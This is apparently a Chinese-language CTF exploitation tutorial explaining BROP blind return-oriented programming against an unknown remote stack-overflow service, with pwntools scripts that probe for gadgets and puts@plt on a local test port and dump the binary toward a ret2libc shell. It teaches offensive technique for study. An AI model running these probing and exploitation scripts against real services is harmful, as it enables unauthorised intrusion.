写在前面:在之前所有的实战中,我们都有一个前提——手里有题目对应的二进制文件(ELF),可以在 IDA 里看伪代码,用 ROPgadget 找 Gadget。但如果题目只给了一个远程 IP 和端口,二进制文件完全未知,甚至运行在远程服务器上,我们该怎么办?这就是 PWN 的终极盲打技术:BROP(Blind Return Oriented Programming)。今天,我们将戴上夜视仪,在完全没有源码的黑暗中,仅靠程序的“崩溃”与“存活”反馈,一步步摸出 ROP 链并拿 Shell。
📑 目录
- 极致绝境:没有二进制文件的盲打
- 核心思想:基于侧信道的“崩溃探测法”
- 寻路指南针:寻找 Stop Gadget 与 BROP Gadget
- 破局关键:定位
puts与泄露 libc 地址 - 终极构造:Dump 内存与完整 ROP 链
- Week6 总结与进阶展望
1. 极致绝境:没有二进制文件的盲打
BROP 攻击场景通常出现在远程服务(如 nginx、Apache 或某个默默运行的守护进程)存在栈溢出,但我们拿不到固件。
我们唯一能做的就是向远程发送数据,并观察 TCP 连接是否断开:
- 程序崩溃:连接突然断开(EOF)。
- 程序存活:连接保持,甚至有正常回显。
因为程序通常是使用fork创建子进程处理连接的,所以即使子进程崩溃,父进程依然存活,Canary 等保护机制在这里反而不是阻碍,反而因为进程不死,让我们可以无限次试错。
2. 核心思想:基于侧信道的“崩溃探测法”
BROP 的核心逻辑是“试错”。
假设我们向buf填入大量字符导致程序返回到一个随机的非法地址,程序崩溃。
如果我们把返回地址换成一个合法的代码地址,程序可能不会立刻崩溃,而是继续执行该地址处的代码。
通过遍历地址空间,发送[Padding] + [探测地址],观察连接是否断开,我们就能在黑暗中找到有用的指令地址。
3. 寻路指南针:寻找 Stop Gadget 与 BROP Gadget
在盲打中,我们不能随便跳转,因为跳转过去的代码如果包含ret,可能会破坏我们后续的栈结构导致崩溃。我们需要找特定的 Gadget。
3.1 寻找 Stop Gadget(停止小工具)
我们需要找一个“坑位”,让程序跳过去后既不崩溃,也不返回,而是卡住或循环。这通常是sleep函数或while(1)循环。
探测逻辑:
发送[Padding] + [探测地址] + [大量垃圾数据]。
如果程序没有崩溃断开(连接保持),说明探测地址就是一个 Stop Gadget。它把后续的垃圾数据吞掉了。这个 Stop Gadget 是我们后续探测的“保命符”,跳到它就不会崩。
3.2 寻找 BROP Gadget(万能跳板)
在 64 位中,最常用的 Gadget 是__libc_csu_init尾部的 6 个pop加 1 个ret:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
探测逻辑:
发送[Padding] + [探测地址] + [6个有效地址] + [Stop Gadget]。
如果探测地址是 BROP Gadget,它会消耗掉栈上的 6 个地址,然后执行ret跳到我们的 Stop Gadget,程序存活!
如果不是,栈结构错位,程序大概率崩溃。通过这种方式,我们在茫茫内存中盲猜出这个 7 连发 Gadget 的地址。
4. 破局关键:定位puts与泄露 libc 地址
有了 BROP Gadget,我们其实就拥有了pop r15; ret(取 BROP Gadget 地址 + 7 偏移即可得到pop r15; ret,但通常我们直接用它推导出pop rdi; ret,即 BROP Gadget 地址 + 9)。
现在我们有了pop rdi; ret,可以控制第一个参数了。接下来要找输出函数。
4.1 盲找 PLT 表
PLT 表的每一项通常是 16 字节,结构固定。我们可以通过遍历某个可能的地址范围,尝试调用它。
4.2 定位puts@plt
我们怎么知道遍历到的是puts还是printf?
我们可以把rdi设置为某个 GOT 表项的地址(比如 BROP Gadget 所在页的某个固定偏移,那里大概率有.dynamic段的魔数\x7fELF)。
如果我们调用某个 PLT 项后,远程返回了\x7fELF这样的字符串,说明我们找到了puts(或write)!
假设性盲打脚本推演:
from pwn import * # 假设我们已经找到 offset=72, brop_gadget=0x4007ba, stop_gadget=0x40055c # pop_rdi = brop_gadget + 9 # 尝试探测 PLT 表项 # 假设从 0x400500 开始探测 for addr in range(0x400500, 0x400600, 0x10): try: p = remote('127.0.0.1', 8888) payload = b'A' * 72 payload += p64(pop_rdi) # 弹出参数给 rdi payload += p64(0x400000) # ELF 文件头地址,必定有 \x7fELF payload += p64(addr) # 探测的 PLT 地址 payload += p64(stop_gadget) # 保命 p.sendline(payload) response = p.recv(timeout=1) # 如果收到 \x7fELF,说明找到了 puts if b'\x7fELF' in response: log.success(f"Found puts@plt at: {hex(addr)}") puts_plt = addr p.close() break p.close() except: p.close() continue模拟终端输出:
[+] Opening connection to 127.0.0.1 on port 8888: Done [+] Found puts@plt at: 0x4005355. 终极构造:Dump 内存与完整 ROP 链
找到puts@plt和pop rdi; ret后,我们就从“盲打”回到了“明打”!
5.1 泄露 libc 地址
我们可以让puts打印puts@got里的内容,从而泄露 libc 基址。
但盲打中我们不知道puts@got在哪。
破局思路:puts@got通常在puts@plt附近。我们可以利用puts@plt里的第一条jmp [got_addr]指令,反推 GOT 地址;或者直接盲扫 BSS 段后面的 GOT 表,把内容打印出来,直到发现像 libc 地址(以0x7f开头)的数据。
5.2 Dump 二进制文件
既然有puts,我们可以把整个程序的.text段从头到尾打印出来,保存到本地文件,反编译成 ELF。这样我们就“偷”回了二进制文件!
# 假设已经拿到了 puts_plt 和 pop_rdi dump_addr = 0x400000 dump_data = b'' while dump_addr < 0x401000: payload = b'A' * 72 payload += p64(pop_rdi) payload += p64(dump_addr) payload += p64(puts_plt) payload += p64(stop_gadget) # 保持存活 p.sendline(payload) # puts 遇到 \x00 会截断,需要特殊处理补齐 leak = p.recv(timeout=1) dump_data += leak dump_addr += len(leak) # 粗略推进拿到完整的 ELF 文件后,接下来的操作就是常规的 ret2libc:找到system和/bin/sh,构建最终 Payload 拿 Shell。
6. Week6 总结与进阶展望
至此,Week6 的进阶栈溢出之旅圆满结束!
本周我们从栈迁移(突破空间限制)开始,掌握了SROP(突破寄存器限制),学习了ret2dl_resolve(突破无 libc 泄露限制),最后在BROP中体验了在完全没有二进制文件的黑暗中重建光明的极致盲打。
这些技术不再是简单的套公式,而是深刻理解了操作系统、编译器与底层汇编机制后的“魔法”。栈溢出到这里,基本上已经没有更多的新花样了。
下周预告 (Week7):
栈上的厮杀彻底告一段落。从下周起,我们将正式踏入现代 PWN 的主战场、也是最容易让人劝退的领域——堆。我们将从glibc的内存管理机制讲起,揭开malloc和free的底层面纱,学习Use-After-Free (UAF)、Double Free以及最经典的Fastbin Attack。堆的世界更加复杂,但也更加精彩!
如果 Week6 的系列文章对你的学习有帮助,请点赞收藏支持!你的鼓励是我持续更新的最大动力。我们 Week7 见!🙏